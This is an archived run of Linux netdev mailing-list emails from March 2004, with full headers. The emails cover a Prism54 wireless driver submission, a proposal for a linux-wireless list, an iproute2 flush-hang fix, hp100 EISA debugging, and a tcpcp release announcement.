(PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id SAA27036; Wed, 3 Mar 2004 18:49:32 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AyivU-00059I-00; Wed, 03 Mar 2004 18:49:32 -0800 Date: Wed, 3 Mar 2004 18:49:32 -0800 To: Jeff Garzik Cc: "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040304024932.GA19781@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040304023524.GA19453@bougret.hpl.hp.com> <40469683.3000609@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40469683.3000609@pobox.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3719 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 1197 Lines: 32 On Wed, Mar 03, 2004 at 09:37:55PM -0500, Jeff Garzik wrote: > Jean Tourrilhes wrote: > > Hi Dave & Jeff, > > > > The attached .bz2 file is a patch for 2.6.3 adding the > >Intersil Prism54 wireless driver. Sorry for the attachement, the file > >is rather big, if you want inline+plaintext, I'll send that personal > >to you. > > I've been using this driver with great success on 2.6.3 and > >2.6.4-rc1 (SMP). This driver support various popular CardBus and PCI > >802.11g cards (54 Mb/s) based on the Intersil PrismGT/PrismDuette > >chipset. > > I would like this driver to go into 2.6.X. However, I > >understand that it's lot's of code to review. > > > I would like it to go into 2.6 too :) I'm glad somebody submitted it. > > I'll review it this weekend... and hopefully some other netdev denizens > will review as well and post their comments. > > Jeff By the way, I should note that during my test I had difficulties to associate with Aironet cards, but it looked like it was a firmware related issue (firmware timing out). The rest work fine (managed to Lucent, Ad-Hoc to another Prism54, scanning, WE). Actually, this is the driver I used to develop ifrename. Have fun... Jean From jgarzik@pobox.com Wed Mar 3 19:08:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Mar 2004 19:08:36 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2438UKO010376 for ; Wed, 3 Mar 2004 19:08:33 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33319 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AyjDp-0000bN-C6; Thu, 04 Mar 2004 03:08:29 +0000 Message-ID: <40469DA1.9090502@pobox.com> Date: Wed, 03 Mar 2004 22:08:17 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Pavel Roskin CC: Jean Tourrilhes , Netdev Subject: Re: linux-wireless mailing list References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3720 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 2785 Lines: 68 Pavel Roskin wrote: > Hello! > > I believe the developers of Linux wireless drivers need a separate mailing > list, preferably called linux-wireless at vger.kernel.org. I don't expect > it to have heavy traffic, but there should be a definitive forum for > discussing issues common for wireless drivers on Linux. I do not object to such a list, but I would respectfully request that all development matters be cross-posted to netdev@oss.sgi.com. That's where the network developers hang out. Now I present my opinions :) > I expect following topics to be discussed: > > Wireless Extensions. I highly respect Jean Tourrilhes who is doing this > work. I believe that driver and userspace developers should use this > forum to discuss their needs and to provide feedback to Jean. The wireless extensions are utility -- they work, but are not beautiful. I am presently writing the driver for the RealTek wireless card, and in the process creating a small wireless driver API. The ideal is to avoid ioctls, and instead to present extensible, type-safe interfaces. This is what I would like wireless extensions to morph into. > Handling of 802.11 frames. We may need common code to convert 802.11 > frames to 802.3 and possibly other standards. Maybe some standards for > 802.11 encapsulation and bridging could be discussed as well. Absolutely. David Miller, Arnaldo Carvalho de Melo, and myself all seem to feel that a net/802_11 directory and associated code would be useful. There is definitely an area for code commonality across drivers. > Sniffing. We need a common standard how to pass raw frames and additional > information to the userspace. There are several de facto standards, but > the lack of communication between developers makes those standards less > useful. For example, Prism2 headers were meant as highly extensible, but > libpcap expects them to be of fixed size. It's an obvious failure to > communicate the intentions of the standard. Agreed. > Encryption. There are wireless specific encryption issues. Host based > WEP support needs RC4 cipher in the kernel. There's not much to discuss > here, but the lack of RC4 in the kernel may indicate that Linux wireless > developers are not acting together to make it happen. The patch does > exist. Send the patch to netdev! ;-) This should be the easy part. > Other interfaces between drivers and the userspace. There should be one > place to discuss whether wireless drivers should be using > netif_carrier_on/off, ethtool and mii-tool support. Again, there is not > much to discuss, but it's much much worse if the same questions are > discussed in different forums and every driver takes its own approach. netdev is that place ;-) Best regards and welcome, Jeff From arekm@pld-linux.org Wed Mar 3 19:19:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Mar 2004 19:19:34 -0800 (PST) Received: from maja.beep.pl (exim@smtp.sys.beep.pl [195.245.198.13]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i243JRKO011872 for ; Wed, 3 Mar 2004 19:19:30 -0800 Received: from [156.17.236.105] (helo=arm.t19.ds.pwr.wroc.pl ident=arekm) by maja.beep.pl with asmtp (TLSv1:RC4-MD5:128) (Exim 4.30) id 1AyiDY-000752-Ua; Thu, 04 Mar 2004 03:04:09 +0100 From: Arkadiusz Miskiewicz Organization: SelfOrganizing To: lkml Subject: ip a flush problem on 2.6 kernels (fine on 2.4 kernels) Date: Thu, 4 Mar 2004 03:08:15 +0100 User-Agent: KMail/1.6.1 Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-2" Message-Id: <200403040308.15880.arekm@pld-linux.org> X-Authenticated-Id: arekm Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i243JRKO011872 X-archive-position: 3721 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: arekm@pld-linux.org Precedence: bulk X-list: netdev Content-Length: 975 Lines: 26 The problem is that ip a a 192.168.0.1/24 dev eth0 ip link set eth0 down ip a flush dev eth0 Here on my vanilla 2.6.2 it locks eating CPU - it does netlink communication over and over. This ,,hang'' doesn't happen when interface is in UP state. Also doesn't happen on 2.4 kernels. I've tried it on different 2.6 kernels (one from fedora, one from PLD) with different versions of iproute2 (usually latest). Friend tried it also with iproute2 from slackware - same result. Same happens when using lo interface instead of ethX. More description in RH bugzilla: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=116982 ps. doing that on Broadcom Corporation BCM4401 100Base-T ethX interface (using b44 driver) causes lock (but sysrq works) on 2.4.25 kernel. Would be nice if someone with that hardware could verify this. -- Arkadiusz Mi¶kiewicz CS at FoE, Wroclaw University of Technology arekm.pld-linux.org, 1024/3DB19BBD, JID: arekm.jabber.org, PLD/Linux From falcon@muflon.linux.pl Wed Mar 3 21:04:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Mar 2004 21:04:33 -0800 (PST) Received: from don.falconne.eu.org (postfix@pc74.torun.sdi.tpnet.pl [213.25.214.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2454SKO023768 for ; Wed, 3 Mar 2004 21:04:29 -0800 Received: from localhost (localhost [127.0.0.1]) by don.falconne.eu.org (Postfix) with ESMTP id D5C171C154C4; Thu, 4 Mar 2004 06:04:24 +0100 (CET) Received: from don.falconne.eu.org ([127.0.0.1]) by localhost (don.falconne.eu.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 17823-08; Thu, 4 Mar 2004 06:04:24 +0100 (CET) Received: from pc74.torun.sdi.tpnet.pl (pc74.torun.sdi.tpnet.pl [213.25.214.74]) by don.falconne.eu.org (Postfix) with ESMTP id 8B9D21C00A8B; Thu, 4 Mar 2004 06:04:24 +0100 (CET) Date: Thu, 4 Mar 2004 06:04:24 +0100 (CET) From: Pawel Sokolowski X-X-Sender: falcon@don.falconne.eu.org Reply-To: pawel.sokolowski@muflon.linux.pl To: Stephen Hemminger Cc: mzyngier@freesurf.fr, netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: 2.6.4-rc1 + hp100 EISA, not working In-Reply-To: <20040303122541.4dbcf0fc@dell_ss3.pdx.osdl.net> Message-ID: References: <20040303122541.4dbcf0fc@dell_ss3.pdx.osdl.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-2 X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at don.falconne.eu.org Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2454SKO023768 X-archive-position: 3723 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: falcon@muflon.linux.pl Precedence: bulk X-list: netdev Content-Length: 1866 Lines: 45 I've seen things you people wouldn't believe. You writing: >> Pawel> On 2.6.3 it just Oopsed and didn't work. On 2.6.4-rc1 it does >> Pawel> not oops but it doesn't work (neither as module nor as build in kernel). >> Note that hp100 in 2.6.4-rc1 is still broken wrt EISA probing, since >> it lacks the terminating entry in the EISA ID list. This one-liner >> should take care of random crashes that are often reported to LKML : >> >> ===== drivers/net/hp100.c 1.24 vs edited ===== >> --- 1.24/drivers/net/hp100.c Wed Feb 18 13:39:41 2004 >> +++ edited/drivers/net/hp100.c Mon Mar 1 11:18:00 2004 >> @@ -201,6 +201,7 @@ >> { "HWP1990" }, /* HP J2577 */ >> { "CPX0301" }, /* ReadyLink ENET100-VG4 */ >> { "CPX0401" }, /* FreedomLine 100/VG */ >> + { "" } /* Mandatory final entry ! */ >> }; >> MODULE_DEVICE_TABLE(eisa, hp100_eisa_tbl); >> #endif > >It could be that there is a typo in the hp100 eisa device list, the following > >--- linux-2.6/drivers/eisa/eisa-bus.c 2004-01-23 09:38:19.000000000 -0800 >+++ tcp-2.6/drivers/eisa/eisa-bus.c 2004-03-03 12:23:53.604252800 -0800 [...] >+ printk(KERN_DEBUG "eisa_bus_match dev sig='%s' state=0x%x eids=%s\n", >+ edev->id.sig, edev->state, eids ? eids->sig : ""); With eisa_bus.enable_dev=2 I'm getting: eisa_bus_match dev sig='HWPC061' state=0x1 eids=HWPF180 eisa_bus_match dev sig='HWP1940' state=0x3 eids=HWPF180 without: eisa_bus_match dev sig='HWPC061' state=0x1 eids=HWPF180 eisa_bus_match dev sig='HWP1940' state=0x0 eids=HWPF180 when modprobing hp100. -- ,d$$$$$P.d$$b d$P ,gd$$$$$,gd$$$$g. ,$$$b._$$P RLU #172534 ggggggggggggg. ggs ,gg ,gg ,gg ggp,ggggg Pawe³ Soko³owski d$P""""'""""Y$$. d$P d$P d$P ,d$Pd$P `Y$$P falcon@muflon.linux.pl d$P Y$$d$$$$$P`Y$$$$$'`Y$$$$$P'd$P d$P Replicant (M) Des: Falcon From proski@gnu.org Wed Mar 3 23:09:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Mar 2004 23:09:49 -0800 (PST) Received: from cmail.srv.hcvlny.cv.net (cmail.srv.hcvlny.cv.net [167.206.112.40]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2479iKO000744 for ; Wed, 3 Mar 2004 23:09:45 -0800 Received: from portland (ool-435328fe.dyn.optonline.net [67.83.40.254]) by cmail.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTP id <0HU100LXNIHITM@cmail.srv.hcvlny.cv.net> for netdev@oss.sgi.com; Thu, 04 Mar 2004 02:08:06 -0500 (EST) Date: Thu, 04 Mar 2004 02:08:08 -0500 (EST) From: Pavel Roskin Subject: Re: linux-wireless mailing list In-reply-to: <20040303233343.GA14803@bougret.hpl.hp.com> X-X-Sender: proski@portland.hansa.lan To: jt@hpl.hp.com Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT References: <20040303233343.GA14803@bougret.hpl.hp.com> X-archive-position: 3725 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: proski@gnu.org Precedence: bulk X-list: netdev Content-Length: 7278 Lines: 157 On Wed, 3 Mar 2004, Jean Tourrilhes wrote: > On Wed, Mar 03, 2004 at 05:28:30PM -0500, Pavel Roskin wrote: > > Hello! > > > > I believe the developers of Linux wireless drivers need a separate mailing > > list, preferably called linux-wireless at vger.kernel.org. I don't expect > > it to have heavy traffic, but there should be a definitive forum for > > discussing issues common for wireless drivers on Linux. > [snip] > Why does this matter ? If those driver maintainers don't feel > part of the Kernel, they probably won't feel part of the "Linux > wireless driver" group that you are trying to create. > Those maintainers are already busy with bug reports and > users. They would need a good incentive too coordinate such > activities across drivers. Avoiding more work later is a pretty good incentive. If the driver turns out to be inconsistent with others, it will have to be changed, perhaps retaining the original code for backward compatibility. > Fortunately, those maintainers know about the common good and > always take the path of least resistance. If someone provide the > infrastructure, they will eventually buy into it. Actually, the new > developpers are more likely to use it than those who already have > working solutions. > Look at the firmware download support. Manuel did a good job > of talking with the various driver authors and come up with a useful > solution, and it's a great success. Firmware download support was a major achievement, and it was not limited to networking, let alone wireless networking. Manuel did a great job. There are often much smaller issues, often so minor that I don't want to bother you personally. Today's example - when the card connects to an access point and changes its ESSID (because the desired ESSID is "any"), should the driver send an wireless event for BSSID only or also for ESSID? I know, you are a great guy and you will answer me, but I don't want to be the fifth person to ask you that in private. I don't want to check drivers for the hardware I don't have trying to understand what they would do in this situation. > Coming back to your point. It seems to me that what we need is > motivated people willing to push specific cross-driver activities and > coordinate those with the driver maintainers. It would be natural for userspace developers and distribution maintainers to promote specific interfaces and standards, but it would be too much to expect them to negotiate with different driver developers trying to explain the same thing over an over again. It would be easier for them to post to linux-wireless and see the discussion. If I as a driver (co-)maintainer don't read that list, the decision will be made without me, and then (kismet|airsnort|xsupplicant) maintainers with came to harass me so I implement what other _driver_ developers have agreed to. Seems like a good incentive to pay attention :-) > The mailing list you propose may help those people to acheive > their goal. But, without such people, it probably won't take off, > because driver maintainers are just too busy. > But, of course, I would be happy to be wrong ;-) Having a list will help less motivated and more busy people reach the audience they want to reach and achieve the goals they want to achieve. I hope so. > > I expect following topics to be discussed: > > > > Wireless Extensions. I highly respect Jean Tourrilhes who is doing this > > work. I believe that driver and userspace developers should use this > > forum to discuss their needs and to provide feedback to Jean. > > I can tell you already : WPA. Yes. Also, since Wireless Extensions define monitor mode (as one of the modes), I would expect to see a definition of what it is, including frame format. Maybe I want too much. > > Handling of 802.11 frames. We may need common code to convert 802.11 > > frames to 802.3 and possibly other standards. Maybe some standards for > > 802.11 encapsulation and bridging could be discussed as well. > > Yes, this is a sore point. Rather than starting from scratch I > believe you should start from code in an existing driver (such as > HostAP or MadWifi). > Note that there are two separate parts, support of 802.2 (all > the SNAP encapsualtion business), which is also useful for 802.3 > networks, and support of 802.11 framing. I believe that Arnaldo was > working on 802.2 support (as part of IPX stuff). That's the part I don't know well. I feel uneasy that David Gibson tries to invent something in the Orinoco driver, and I'm one of very few people who can comment early on those efforts, yet I know too little about the networking site of things to provide useful feedback. If the linux-wireless list existed, I would have some assurance that we are not doing something that's not going to be accepted by other drivers. > Actually, you remind me that I should ask Jouni to push his > driver in the kernel. I believe it can happen after RC4 goes to the kernel and HostAP uses crypto API (optionally in the standalone version to keep Linux 2.4 compatibility). > > Sniffing. We need a common standard how to pass raw frames and additional > > information to the userspace. There are several de facto standards, but > > the lack of communication between developers makes those standards less > > useful. For example, Prism2 headers were meant as highly extensible, but > > libpcap expects them to be of fixed size. It's an obvious failure to > > communicate the intentions of the standard. > > Software never get it right on the first try. That's a bug > report on libpcap. If you break libpcap, they will notice soon enough. I don't want somebody to tell me that Orinoco does it wrong because all other drivers use 144 bytes per header. If it happens, I want to show a link to a thread where it was discussed. Sure, it's not a as good as a written standard, but if it's the official linux-wireless list, interested persons are supposed to comment before it's to late. Without the list, I'll have to ask linux-wlan-ng team to write a standard, then go to libpcap guys to persuade them to implement the standard as described by the inventors of Prism2 headers. > > Encryption. There are wireless specific encryption issues. Host based > > WEP support needs RC4 cipher in the kernel. There's not much to discuss > > here, but the lack of RC4 in the kernel may indicate that Linux wireless > > developers are not acting together to make it happen. The patch does > > exist. > > I've never seen this patch. Was it sent to the Crypto guys ? http://sourceforge.net/mailarchive/message.php?msg_id=7298902 I'll ask Jon Oberheide where he sent it. > > I believe linux-net@vger.kernel.org is the right place to ask because > > Wireless almost inevitably assumes networking. I'll appreciate if > > somebody with enough weight in the kernel development supports this issue. > > Or at least please let me know where else I should ask and whose support I > > need to have. > > Don't get me wrong, I'm supportive, I just wanted to set a bit > of context. I can't host mailing lists at HP, and SourceForge is not > really reliable. I posted this proposal because I felt that many people think this way and somebody should post it. -- Regards, Pavel Roskin From davem@redhat.com Thu Mar 4 00:10:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 00:10:40 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i248ATKO005832 for ; Thu, 4 Mar 2004 00:10:30 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i2487Pb22957; Thu, 4 Mar 2004 03:07:25 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2487P832684; Thu, 4 Mar 2004 03:07:25 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2487HeF013987; Thu, 4 Mar 2004 03:07:17 -0500 Date: Thu, 4 Mar 2004 00:07:23 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: jt@bougret.hpl.hp.com, netdev@oss.sgi.com, irda-users@lists.sourceforge.net Subject: Re: [PATCH] stir4200 update for 2.6.4-rc1 Message-Id: <20040304000723.07b265ef.davem@redhat.com> In-Reply-To: <20040302120501.7fa8f698@dell_ss3.pdx.osdl.net> References: <20040302120501.7fa8f698@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3727 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 27 Lines: 2 Applied, thanks everyone. From davem@redhat.com Thu Mar 4 01:41:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 01:42:00 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i249fqKO019816 for ; Thu, 4 Mar 2004 01:41:52 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i249aKb21270; Thu, 4 Mar 2004 04:36:20 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i249aK826574; Thu, 4 Mar 2004 04:36:20 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i249aBeF016878; Thu, 4 Mar 2004 04:36:13 -0500 Date: Thu, 4 Mar 2004 01:36:18 -0800 From: "David S. Miller" To: Julian Anastasov Cc: niv@us.ibm.com, ak@suse.de, ruddk@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, chester.f.johnson@intel.com Subject: Re: PMTU issues due to TOS field manipulation (for DSCP) Message-Id: <20040304013618.31a827ba.davem@redhat.com> In-Reply-To: References: <20031212003143.062598e9.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3728 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 238 Lines: 7 Julian, I'd like to bring this back to life. Can you post a new version of the ip_rt_ignore_tos patch against current 2.6.x? We'll discuss and integrate just like for the ARP stuff. Sorry for sitting on this for so long, been busy... From johnp@marine-boy.nu Thu Mar 4 04:44:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 04:44:07 -0800 (PST) Received: from ocelot.spots.ab.ca (ocelot.spots.ab.ca [209.115.174.244]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24Ci3KO024986 for ; Thu, 4 Mar 2004 04:44:04 -0800 Received: from spots.ca (localhost [127.0.0.1]) by ocelot.spots.ab.ca (8.12.8/8.12.8) with ESMTP id i24Ci0X2015179; Thu, 4 Mar 2004 05:44:00 -0700 From: "john" To: Denis Vlasenko , Andrewm@uow.edu.au, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Problems getting a stable 100 megabit connection with linksys etherfast switch Date: Thu, 4 Mar 2004 05:44:00 -0700 Message-Id: <20040304123913.M97501@marine-boy.nu> In-Reply-To: <200403020001.48026.vda@port.imtp.ilyichevsk.odessa.ua> References: <20040229212053.M47845@spots.ca> <200403020001.48026.vda@port.imtp.ilyichevsk.odessa.ua> X-Mailer: Open WebMail 2.30 20040103 X-OriginatingIP: 209.115.173.10 (johnp) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Virus-Scanned: clamd / ClamAV version 0.67, clamav-milter version 0.66n X-archive-position: 3729 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: johnp@marine-boy.nu Precedence: bulk X-list: netdev Content-Length: 1008 Lines: 37 Hi Denis, Turns out I had a cable problem. Some of the patch cables that I made, had the wrong pinout. After replacing them, the connection is stable at 100baseTx-FD. Thanks John On Tue, 2 Mar 2004 00:01:47 +0200, Denis Vlasenko wrote > On Sunday 29 February 2004 23:30, john wrote: > > Hi, > > > > I am having problems getting a stable connection with my linux machines > > when trying to connect them at 100 megabit speeds to a linksys etherfast > > switch. > > > > > > I have attached some diagnostic outputs for your review. I hope that > > someone can help me with this problem. > > > > I believe using a managed switch will solve the problem, but I don't want > > to have to spend $1000.00 to fix this problem, when I should be able to > > obtain a stable connection with the equipment I am currently using. > > Try half duplex. You seldom do lots of xfers in both directions at > once, so half duplex is not a big loss. > > Use tcpdump to see what's going on on the wire. > -- > vda -- From ak@suse.de Thu Mar 4 05:49:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 05:49:05 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24DmpKO003024 for ; Thu, 4 Mar 2004 05:48:51 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id B3ED1283580; Thu, 4 Mar 2004 14:13:16 +0100 (CET) Date: Thu, 4 Mar 2004 14:13:19 +0100 From: Andi Kleen To: Arkadiusz Miskiewicz Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: ip a flush problem on 2.6 kernels (fine on 2.4 kernels) Message-Id: <20040304141319.2d1cb112.ak@suse.de> In-Reply-To: <200403040308.15880.arekm@pld-linux.org> References: <200403040308.15880.arekm@pld-linux.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3730 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 1010 Lines: 39 On Thu, 4 Mar 2004 03:08:15 +0100 Arkadiusz Miskiewicz wrote: > The problem is that > > ip a a 192.168.0.1/24 dev eth0 > ip link set eth0 down > ip a flush dev eth0 > > Here on my vanilla 2.6.2 it locks eating CPU - it does netlink > communication over and over. This ,,hang'' doesn't happen when > interface is in UP state. Also doesn't happen on 2.4 kernels. I fixed it with this patch for iproute2 here. It's not clear to me at all how it ever worked before. The loop seems to be just wrong. -Andi diff -u iproute2/ip/ipaddress.c~ iproute2/ip/ipaddress.c --- iproute2/ip/ipaddress.c~ 2004-03-07 20:54:52.000000000 +0100 +++ iproute2/ip/ipaddress.c 2004-03-07 21:02:12.000000000 +0100 @@ -623,6 +623,9 @@ fflush(stdout); return 0; } +#if 1 + break; +#else round++; if (flush_update() < 0) exit(1); @@ -630,6 +633,7 @@ printf("\n*** Round %d, deleting %d addresses ***\n", round, filter.flushed); fflush(stdout); } +#endif } } From werner@almesberger.net Thu Mar 4 06:18:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 06:18:15 -0800 (PST) Received: from host.almesberger.net (almesberger.net [63.105.73.238]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24EI5KO007869 for ; Thu, 4 Mar 2004 06:18:05 -0800 Received: from almesberger.net (vpnwa-home [10.200.0.2]) by host.almesberger.net (8.11.6/8.9.3) with ESMTP id i24EI2F29857; Thu, 4 Mar 2004 06:18:02 -0800 Received: (from werner@localhost) by almesberger.net (8.11.6/8.11.6) id i24EI0T23133; Thu, 4 Mar 2004 11:18:00 -0300 Date: Thu, 4 Mar 2004 11:17:59 -0300 From: Werner Almesberger To: netdev@oss.sgi.com, tcpcp-general@lists.sourceforge.net Subject: TCP connection passing, version 7 Message-ID: <20040304111759.A22625@almesberger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-archive-position: 3732 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wa@almesberger.net Precedence: bulk X-list: netdev Content-Length: 1222 Lines: 38 Back among the living: http://tcpcp.sourceforge.net/tcpcp-7.tar.gz md5sum 60a10b219ab363258d56d2f01f28edfa tcpcp is a mechanism to pass ownership of a TCP connection endpoint from one application to another, without the knowledge of the other peer. The project has been dormant for about a year, but now that I have the suitable testing tool with umlsim, it's time to restart it. This release updates the patch to the 2.6.3 kernel. I've also removed all the UML-related testing infrastructure, which is now obsolete. The complete list of changes is below. There's also a new Web site for the project, at http://tcpcp.sourceforge.net/ - Werner ----------------------------------- CHANGES ----------------------------------- Version 7 (4-MAR-2004) ---------------------- - Makefile: changed upload target to SourceForge upload procedure - removed "umlrun" subsystem - removed UML build - upgraded to the 2.6.3 kernel - renamed original kernel source directory from *.orig to *-orig -- _________________________________________________________________________ / Werner Almesberger, Buenos Aires, Argentina wa@almesberger.net / /_http://www.almesberger.net/____________________________________________/ From shemminger@osdl.org Thu Mar 4 09:27:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 09:27:12 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24HR9KO020627 for ; Thu, 4 Mar 2004 09:27:10 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24HQoE14159; Thu, 4 Mar 2004 09:26:50 -0800 Date: Thu, 4 Mar 2004 09:26:50 -0800 From: Stephen Hemminger To: pawel.sokolowski@muflon.linux.pl Cc: falcon@muflon.linux.pl, mzyngier@freesurf.fr, netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: 2.6.4-rc1 + hp100 EISA, not working Message-Id: <20040304092650.2575fd1c@dell_ss3.pdx.osdl.net> In-Reply-To: References: <20040303122541.4dbcf0fc@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 